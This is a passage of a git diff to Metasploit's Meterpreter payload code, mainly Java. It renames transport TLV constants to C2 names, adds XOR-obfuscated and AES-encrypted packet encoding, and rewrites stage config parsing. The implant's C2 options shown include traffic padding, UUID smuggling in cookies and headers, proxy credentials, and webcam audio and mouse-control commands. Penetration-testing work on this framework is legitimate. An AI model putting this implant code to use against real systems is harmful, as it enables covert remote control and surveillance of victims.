transportData.add(TLVType.TLV_TYPE_TRANS_UA, h.getUserAgent()); + transportData.add(TLVType.TLV_TYPE_C2_UA, h.getUserAgent()); } - if (h.getProxy().length() > 0) { - transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_HOST, h.getProxy()); + if (h.getProxyUrl().length() > 0) { + transportData.add(TLVType.TLV_TYPE_C2_PROXY_URL, h.getProxyUrl()); } if (h.getProxyUser().length() > 0) { - transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_USER, h.getProxyUser()); + transportData.add(TLVType.TLV_TYPE_C2_PROXY_USER, h.getProxyUser()); } if (h.getProxyPass().length() > 0) { - transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_PASS, h.getProxyPass()); + transportData.add(TLVType.TLV_TYPE_C2_PROXY_PASS, h.getProxyPass()); } if (h.getCertHash() != null) { - transportData.add(TLVType.TLV_TYPE_TRANS_CERT_HASH, h.getCertHash()); + transportData.add(TLVType.TLV_TYPE_C2_CERT_HASH, h.getCertHash()); } if (h.getCustomHeaders() != null) { - transportData.add(TLVType.TLV_TYPE_TRANS_HEADERS, h.getCustomHeaders()); + transportData.add(TLVType.TLV_TYPE_C2_HEADERS, h.getCustomHeaders()); } } - response.addOverflow(TLVType.TLV_TYPE_TRANS_GROUP, transportData); + response.addOverflow(TLVType.TLV_TYPE_C2, transportData); t = t.getNext(); } while (t != first); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java index 974440162..e7376c2c8 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java @@ -1,7 +1,7 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class core_transport_next implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java index 1526128e4..c4cd286dc 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java @@ -1,7 +1,7 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class core_transport_prev implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java index 8e1d4af1d..fa52e47fd 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.command.Command; @@ -17,7 +17,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons return ERROR_FAILURE; } - String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL); + String transportUrl = request.getStringValue(TLVType.TLV_TYPE_C2_URL); Transport found = null; do { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java index 1e5d7062b..e6a66db47 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.command.Command; @@ -12,7 +12,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons Transport currentTransport = meterpreter.getTransports().current(); try { - long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP); + long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_SESSION_EXPIRY); meterpreter.setExpiry(sessionExpiry); } catch (IllegalArgumentException ex) { @@ -20,7 +20,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons } try { - long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT); + long commTimeout = request.getIntValue(TLVType.TLV_TYPE_C2_COMM_TIMEOUT); currentTransport.setCommTimeout(commTimeout); } catch (IllegalArgumentException ex) { @@ -28,7 +28,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons } try { - long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL); + long retryTotal = request.getIntValue(TLVType.TLV_TYPE_C2_RETRY_TOTAL); currentTransport.setRetryTotal(retryTotal); } catch (IllegalArgumentException ex) { @@ -36,17 +36,17 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons } try { - long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT); + long retryWait = request.getIntValue(TLVType.TLV_TYPE_C2_RETRY_WAIT); currentTransport.setRetryWait(retryWait); } catch (IllegalArgumentException ex) { // retry wait not specified } - response.add(TLVType.TLV_TYPE_TRANS_SESSION_EXP, (int)meterpreter.getExpiry()); - response.add(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT, (int)currentTransport.getCommTimeout()); - response.add(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, (int)currentTransport.getRetryTotal()); - response.add(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, (int)currentTransport.getRetryWait()); + response.add(TLVType.TLV_TYPE_SESSION_EXPIRY, (int)meterpreter.getExpiry()); + response.add(TLVType.TLV_TYPE_C2_COMM_TIMEOUT, (int)currentTransport.getCommTimeout()); + response.add(TLVType.TLV_TYPE_C2_RETRY_TOTAL, (int)currentTransport.getRetryTotal()); + response.add(TLVType.TLV_TYPE_C2_RETRY_WAIT, (int)currentTransport.getRetryWait()); return ERROR_SUCCESS; } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java index 687c8c8c0..3e266a39b 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.command.Command; @@ -12,7 +12,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons int result = EXIT_DISPATCH; try { - long sleep = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT) * Transport.MS; + long sleep = request.getIntValue(TLVType.TLV_TYPE_C2_COMM_TIMEOUT) * Transport.MS; meterpreter.getTransports().setNext(meterpreter.getTransports().current(), sleep); } catch (Exception ex) { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java b/java/meterpreter/shared/src/main/java/com/metasploit/TLVPacket.java similarity index 64% rename from java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java rename to java/meterpreter/shared/src/main/java/com/metasploit/TLVPacket.java index d60199ffc..f3a0a5943 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/TLVPacket.java @@ -1,10 +1,15 @@ -package com.metasploit.meterpreter; +package com.metasploit; +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; +import java.security.GeneralSecurityException; +import java.security.SecureRandom; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; @@ -19,6 +24,12 @@ */ public class TLVPacket { + public static final int ENC_NONE = 0; + public static final int ENC_AES256 = 1; + public static final int ENC_AES128 = 2; + + private static final SecureRandom secureRandom = new SecureRandom(); + // constants public static final int PACKET_TYPE_REQUEST = 0; public static final int PACKET_TYPE_RESPONSE = 1; @@ -117,10 +128,126 @@ public TLVPacket(DataInputStream in, int remaining) throws IOException { add(type, value); } if (remaining != 0) { - throw new IOException("Incomplete packets detected"); + throw new IOException("Incomplete packets detected (" + remaining + " remaining bytes)"); + } + } + + public TLVPacket(byte[] packetBytes) throws IOException { + this(new DataInputStream(new ByteArrayInputStream(packetBytes)), packetBytes.length); + } + + public static TLVPacket fromEncoded(byte[] packetBytes, byte[] aesKey) throws IOException { + return fromEncoded(new DataInputStream(new ByteArrayInputStream(packetBytes)), aesKey); + } + + public static TLVPacket fromEncoded(DataInputStream in, byte[] aesKey) throws IOException { + byte[] header = new byte[32]; + in.readFully(header); + byte[] clonedHeader = header.clone(); + + byte[] xorKey = new byte[4]; + arrayCopy(header, 0, xorKey, 0, 4); + + // XOR the whole header first + xorBytes(xorKey, header, 0); + + + // extract the length + int bodyLen = readInt(header, 24) - 8; + + byte[] body = new byte[bodyLen]; + in.readFully(body); + + // create a complete packet and xor the whole thing. We do this because we can't + // be sure that the content of the body is 4-byte aligned with the xor key, so we + // do the whole lot to make sure it behaves + byte[] packet = new byte[clonedHeader.length + body.length]; + arrayCopy(clonedHeader, 0, packet, 0, clonedHeader.length); + arrayCopy(body, 0, packet, clonedHeader.length, body.length); + xorBytes(xorKey, packet, 0); + + arrayCopy(packet, 32, body, 0, body.length); + int encFlag = readInt(packet, 20); + if (encFlag != ENC_NONE && aesKey != null) { + try + { + body = aesDecrypt(body, aesKey); + } + catch(GeneralSecurityException e) + { + // if things go back we're basically screwed. + throw new IOException("AES decryption failed: " + e.getMessage()); + } + } + + ByteArrayInputStream byteStream = new ByteArrayInputStream(body, 0, body.length); + DataInputStream inputStream = new DataInputStream(byteStream); + TLVPacket tlvPacket = new TLVPacket(inputStream, body.length); + inputStream.close(); + + return tlvPacket; + } + + private static byte[] aesDecrypt(byte[] encryptedData, byte[] aesKey) throws GeneralSecurityException { + byte[] iv = new byte[16]; + byte[] encrypted = new byte[encryptedData.length - iv.length]; + arrayCopy(encryptedData, 0, iv, 0, iv.length); + arrayCopy(encryptedData, iv.length, encrypted, 0, encrypted.length); + + IvParameterSpec ivSpec = new IvParameterSpec(iv); + SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES"); + Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); + synchronized(cipher) { + cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec); + return cipher.doFinal(encrypted); + } + } + + private static byte[] aesEncrypt(byte[] data, byte[] aesKey) throws GeneralSecurityException { + byte[] iv = new byte[16]; + secureRandom.nextBytes(iv); + + byte[] encrypted = null; + IvParameterSpec ivSpec = new IvParameterSpec(iv); + SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES"); + Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); + synchronized(cipher) { + cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); + encrypted = cipher.doFinal(data); + } + + data = new byte[encrypted.length + iv.length]; + arrayCopy(iv, 0, data, 0, iv.length); + arrayCopy(encrypted, 0, data, iv.length, encrypted.length); + return data; + } + + private static void arrayCopy(byte[] src, int srcPos, byte[] dest, int destPos, int length) { + if (length > 0) { + System.arraycopy(src, srcPos + 0, dest, destPos + 0, length); } } + private static void xorBytes(byte[] xorKey, byte[] bytes, int offset) { + for (int i = 0; i < bytes.length - offset; ++i) { + bytes[i + offset] ^= xorKey[i % 4]; + } + } + + private static int readInt(byte[] source, int offset) { + return (0xFF & source[offset]) << 24 | + (0xFF & source[1 + offset]) << 16 | + (0xFF & source[2 + offset]) << 8 | + (0xFF & source[3 + offset]); + } + + private static void writeInt(byte[] dest, int offset, int value) { + dest[offset] = (byte)((value >> 24) & 0xFF); + dest[offset + 1] = (byte)((value >> 16) & 0xFF); + dest[offset + 2] = (byte)((value >> 8) & 0xFF); + dest[offset + 3] = (byte)(value & 0xFF); + } + /** * Add a TLV value to this object. */ @@ -339,4 +466,44 @@ public byte[] toByteArray() throws IOException { write(new DataOutputStream(baos)); return baos.toByteArray(); } + + public byte[] toEncoded(int type, byte[] aesKey, byte[] sessionGUID) throws IOException { + byte[] data = this.toByteArray(); + + int encType = ENC_NONE; + if (aesKey != null) { + encType = (aesKey.length == 32 ? ENC_AES256 : ENC_AES128); + try { + data = aesEncrypt(data, aesKey); + } catch (GeneralSecurityException e) { + throw new IOException("AES encryption failed: " + e.getMessage()); + } + } + + byte[] packet = new byte[32 + data.length]; + byte[] xorKey = { + (byte)(0xFF & (int)((Math.random() * 255) + 1)), + (byte)(0xFF & (int)((Math.random() * 255) + 1)), + (byte)(0xFF & (int)((Math.random() * 255) + 1)), + (byte)(0xFF & (int)((Math.random() * 255) + 1)) + }; + arrayCopy(xorKey, 0, packet, 0, 4); + if (sessionGUID != null) { + // Include the session guid in the outgoing message + arrayCopy(sessionGUID, 0, packet, 4, sessionGUID.length); + } + + writeInt(packet, 20, encType); + + // Write the length/type + writeInt(packet, 24, data.length + 8); + writeInt(packet, 28, type); + + // finally write the data + arrayCopy(data, 0, packet, 32, data.length); + + // Xor the packet bytes + xorBytes(xorKey, packet, 4); + return packet; + } } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java similarity index 80% rename from java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java rename to java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java index 9895adac3..4d4c28e01 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java @@ -1,4 +1,4 @@ -package com.metasploit.meterpreter; +package com.metasploit; /** * All defined TLV types. @@ -51,20 +51,6 @@ public interface TLVType { public static final int TLV_TYPE_MIGRATE_STUB_LEN = TLVPacket.TLV_META_TYPE_UINT | 410; public static final int TLV_TYPE_MIGRATE_STUB = TLVPacket.TLV_META_TYPE_STRING | 411; - public static final int TLV_TYPE_TRANS_TYPE = TLVPacket.TLV_META_TYPE_UINT | 430; - public static final int TLV_TYPE_TRANS_URL = TLVPacket.TLV_META_TYPE_STRING | 431; - public static final int TLV_TYPE_TRANS_UA = TLVPacket.TLV_META_TYPE_STRING | 432; - public static final int TLV_TYPE_TRANS_COMM_TIMEOUT = TLVPacket.TLV_META_TYPE_UINT | 433; - public static final int TLV_TYPE_TRANS_SESSION_EXP = TLVPacket.TLV_META_TYPE_UINT | 434; - public static final int TLV_TYPE_TRANS_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 435; - public static final int TLV_TYPE_TRANS_PROXY_HOST = TLVPacket.TLV_META_TYPE_STRING | 436; - public static final int TLV_TYPE_TRANS_PROXY_USER = TLVPacket.TLV_META_TYPE_STRING | 437; - public static final int TLV_TYPE_TRANS_PROXY_PASS = TLVPacket.TLV_META_TYPE_STRING | 438; - public static final int TLV_TYPE_TRANS_RETRY_TOTAL = TLVPacket.TLV_META_TYPE_UINT | 439; - public static final int TLV_TYPE_TRANS_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 440; - public static final int TLV_TYPE_TRANS_HEADERS = TLVPacket.TLV_META_TYPE_STRING | 441; - public static final int TLV_TYPE_TRANS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 442; - public static final int TLV_TYPE_MACHINE_ID = TLVPacket.TLV_META_TYPE_STRING | 460; public static final int TLV_TYPE_UUID = TLVPacket.TLV_META_TYPE_RAW | 461; public static final int TLV_TYPE_SESSION_GUID = TLVPacket.TLV_META_TYPE_RAW | 462; @@ -81,6 +67,35 @@ public interface TLVType { public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 630; public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 631; + // C2 options + public static final int TLV_TYPE_SESSION_EXPIRY = TLVPacket.TLV_META_TYPE_UINT | 700; // Session expiration time + public static final int TLV_TYPE_EXITFUNC = TLVPacket.TLV_META_TYPE_UINT | 701; // identifier of the exit function to use + public static final int TLV_TYPE_DEBUG_LOG = TLVPacket.TLV_META_TYPE_STRING | 702; // path to write debug log + public static final int TLV_TYPE_EXTENSION = TLVPacket.TLV_META_TYPE_GROUP | 703; // Group containing extension info + public static final int TLV_TYPE_C2 = TLVPacket.TLV_META_TYPE_GROUP | 704; // a C2/transport grouping + public static final int TLV_TYPE_C2_COMM_TIMEOUT = TLVPacket.TLV_META_TYPE_UINT | 705; // the timeout for this C2 group + public static final int TLV_TYPE_C2_RETRY_TOTAL = TLVPacket.TLV_META_TYPE_UINT | 706; // number of times to retry this C2 + public static final int TLV_TYPE_C2_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 707; // how long to wait between reconnect attempts + public static final int TLV_TYPE_C2_URL = TLVPacket.TLV_META_TYPE_STRING | 708; // base URL of this C2 (scheme://host:port/uri) + public static final int TLV_TYPE_C2_URI = TLVPacket.TLV_META_TYPE_STRING | 709; // URI to append to base URL (for HTTP(s)), if any + public static final int TLV_TYPE_C2_PROXY_URL = TLVPacket.TLV_META_TYPE_STRING | 710; // Proxy URL + public static final int TLV_TYPE_C2_PROXY_USER = TLVPacket.TLV_META_TYPE_STRING | 711; // Proxy user name + public static final int TLV_TYPE_C2_PROXY_PASS = TLVPacket.TLV_META_TYPE_STRING | 712; // Proxy password + public static final int TLV_TYPE_C2_GET = TLVPacket.TLV_META_TYPE_GROUP | 713; // A grouping of params associated with GET requests + public static final int TLV_TYPE_C2_POST = TLVPacket.TLV_META_TYPE_GROUP | 714; // A grouping of params associated with POST requests + public static final int TLV_TYPE_C2_HEADERS = TLVPacket.TLV_META_TYPE_STRING | 715; // Custom headers + public static final int TLV_TYPE_C2_UA = TLVPacket.TLV_META_TYPE_STRING | 716; // User agent + public static final int TLV_TYPE_C2_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 717; // Expected SSL certificate hash + public static final int TLV_TYPE_C2_PREFIX = TLVPacket.TLV_META_TYPE_RAW | 718; // Data to prepend to the outgoing payload + public static final int TLV_TYPE_C2_SUFFIX = TLVPacket.TLV_META_TYPE_RAW | 719; // Data to append to the outgoing payload + public static final int TLV_TYPE_C2_ENC = TLVPacket.TLV_META_TYPE_UINT | 720; // Request encoding flags (Base64|URL|Base64url) + public static final int TLV_TYPE_C2_PREFIX_SKIP = TLVPacket.TLV_META_TYPE_UINT | 721; // Size of prefix to skip (in bytes) + public static final int TLV_TYPE_C2_SUFFIX_SKIP = TLVPacket.TLV_META_TYPE_UINT | 722; // Size of suffix to skip (in bytes) + public static final int TLV_TYPE_C2_UUID_COOKIE = TLVPacket.TLV_META_TYPE_STRING | 723; // Name of the cookie to put the UUID in + public static final int TLV_TYPE_C2_UUID_GET = TLVPacket.TLV_META_TYPE_STRING | 724; // Name of the GET parameter to put the UUID in + public static final int TLV_TYPE_C2_UUID_HEADER = TLVPacket.TLV_META_TYPE_STRING | 725; // Name of the header to put the UUID in + public static final int TLV_TYPE_C2_UUID = TLVPacket.TLV_META_TYPE_STRING | 726; // string representation of the UUID for C2s + // Fs public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200; public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201; diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java index f5ecbb23d..c6ca94449 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java @@ -17,7 +17,6 @@ public class Config { public long session_expiry; public byte[] uuid; public byte[] session_guid; - public String stageless_class; public List transportConfigList = new LinkedList(); diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java index 793517acd..bb2c801f5 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java @@ -1,132 +1,70 @@ package com.metasploit.stage; -import java.io.UnsupportedEncodingException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; + +import java.io.IOException; +import java.util.List; import java.util.concurrent.TimeUnit; public class ConfigParser { - private static final int SESSION_EXPIRY_START_LEN = 12; - private static final int UUID_LEN = 16; - private static final int GUID_LEN = 16; - private static final int INT_LEN = 4; - private static final int URL_LEN = 512; - private static final int UA_LEN = 256; - private static final int PROXY_HOST_LEN = 128; - private static final int PROXY_USER_LEN = 64; - private static final int PROXY_PASS_LEN = 64; - private static final int CERT_HASH_LEN = 20; - private static final long MS = TimeUnit.SECONDS.toMillis(1); public static Config parseConfig(byte[] configBytes) { Config config = new Config(); config.rawConfig = configBytes; - int csr = 0; - config.flags = ConfigParser.unpack32(configBytes, 0); - csr += SESSION_EXPIRY_START_LEN; - config.session_expiry = MS * ConfigParser.unpack32(configBytes, csr); - csr += INT_LEN; - config.uuid = ConfigParser.readBytes(configBytes, csr, ConfigParser.UUID_LEN); - csr += ConfigParser.UUID_LEN; - config.session_guid = ConfigParser.readBytes(configBytes, csr, ConfigParser.GUID_LEN); - csr += ConfigParser.GUID_LEN; - if ((config.flags & Config.FLAG_STAGELESS) != 0) { - config.stageless_class = readString(configBytes, 8000, 100); + TLVPacket configPacket; + + try { + configPacket = TLVPacket.fromEncoded(configBytes, null); + config.session_expiry = MS * configPacket.getIntValue(TLVType.TLV_TYPE_SESSION_EXPIRY); + config.uuid = configPacket.getRawValue(TLVType.TLV_TYPE_UUID); + config.session_guid = configPacket.getRawValue(TLVType.TLV_TYPE_SESSION_GUID); + } catch (IOException ioException) { + return null; + } catch (IllegalArgumentException illegalArgumentException) { + return null; } - while (true) { - if (configBytes[csr] == 0) { - break; - } + List c2Groups = configPacket.getValues(TLVType.TLV_TYPE_C2); + for (int i = 0; i < c2Groups.size(); ++i) { TransportConfig transportConfig = new TransportConfig(); - transportConfig.url = ConfigParser.readString(configBytes, csr, URL_LEN); - csr += URL_LEN; - transportConfig.comm_timeout = MS * ConfigParser.unpack32(configBytes, csr); - csr += INT_LEN; - transportConfig.retry_total = MS * ConfigParser.unpack32(configBytes, csr); - csr += INT_LEN; - transportConfig.retry_wait = MS * ConfigParser.unpack32(configBytes, csr); - csr += INT_LEN; + TLVPacket c2Group; + try { + c2Group = c2Groups.get(i); + transportConfig.url = c2Group.getStringValue(TLVType.TLV_TYPE_C2_URL); + transportConfig.comm_timeout = MS * c2Group.getIntValue(TLVType.TLV_TYPE_C2_COMM_TIMEOUT); + transportConfig.retry_total = MS * c2Group.getIntValue(TLVType.TLV_TYPE_C2_RETRY_TOTAL); + transportConfig.retry_wait = MS * c2Group.getIntValue(TLVType.TLV_TYPE_C2_RETRY_WAIT); + // these values are all required so if any are missing, skip adding it as a transport + } catch (IllegalArgumentException illegalArgumentException) { + continue; + } if (transportConfig.url.startsWith("http")) { - transportConfig.proxy = ConfigParser.readString(configBytes, csr, ConfigParser.PROXY_HOST_LEN); - csr += ConfigParser.PROXY_HOST_LEN; - - transportConfig.proxy_user = ConfigParser.readString(configBytes, csr, ConfigParser.PROXY_USER_LEN); - csr += ConfigParser.PROXY_USER_LEN; - - transportConfig.proxy_pass = ConfigParser.readString(configBytes, csr, ConfigParser.PROXY_PASS_LEN); - csr += ConfigParser.PROXY_PASS_LEN; - - transportConfig.user_agent = ConfigParser.readString(configBytes, csr, ConfigParser.UA_LEN); - csr += ConfigParser.UA_LEN; - - transportConfig.cert_hash = null; - byte[] loadedHash = ConfigParser.readBytes(configBytes, csr, ConfigParser.CERT_HASH_LEN); - csr += ConfigParser.CERT_HASH_LEN; - - // we only store the cert hash value if it's got a value - for (int i = 0; i < loadedHash.length; i++) { - if (loadedHash[i] != 0) { + String proxyUrl = null; + byte[] loadedHash; + try { + proxyUrl = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL); + } catch (IllegalArgumentException illegalArgumentException) { + } + if (proxyUrl != null) { + transportConfig.proxy_url = proxyUrl; + transportConfig.proxy_user = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, ""); + transportConfig.proxy_pass = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, ""); + transportConfig.user_agent = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UA, ""); + transportConfig.custom_headers = c2Group.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, ""); + loadedHash = c2Group.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, new byte[0]); + if (loadedHash.length > 0) { transportConfig.cert_hash = loadedHash; - break; } } - - String customHeaders = ConfigParser.readString(configBytes, csr); - transportConfig.custom_headers = customHeaders; - csr += customHeaders.length(); } config.transportConfigList.add(transportConfig); } return config; } - - private static String readString(byte[] bytes, int offset) { - StringBuilder stringBuffer = new StringBuilder(); - int byteEnd = bytes.length; - for (int a=offset;a keyMapping = new HashMap() diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java index b8d60d07b..e1535647f 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java @@ -1,13 +1,13 @@ package com.metasploit.meterpreter.stdapi; -import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; -import com.metasploit.meterpreter.command.Command; - import java.awt.Robot; import java.awt.event.InputEvent; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.command.Command; + public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_webcam_audio_record_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_webcam_audio_record_V1_4.java index 7380b897b..392ce4656 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_webcam_audio_record_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_webcam_audio_record_V1_4.java @@ -12,8 +12,8 @@ import javax.sound.sampled.Mixer.Info; import javax.sound.sampled.TargetDataLine; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.sun.media.sound.WaveFileWriter; diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index ded9ab283..2a5f1c9e7 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -242,7 +242,7 @@ function socket_set_option($sock, $type, $opt, $value) { define('COMMAND_ID_CORE_MIGRATE', 14); define('COMMAND_ID_CORE_NATIVE_ARCH', 15); define('COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION', 16); -define('COMMAND_ID_CORE_PATCH_URL', 17); +define('COMMAND_ID_CORE_PATCH_UUID', 17); define('COMMAND_ID_CORE_PIVOT_ADD', 18); define('COMMAND_ID_CORE_PIVOT_REMOVE', 19); define('COMMAND_ID_CORE_PIVOT_SESSION_DIED', 20); diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index d6919c572..658de3560 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -147,20 +147,6 @@ TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 -TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 -TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 -TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 -TLV_TYPE_TRANS_SESSION_EXP = 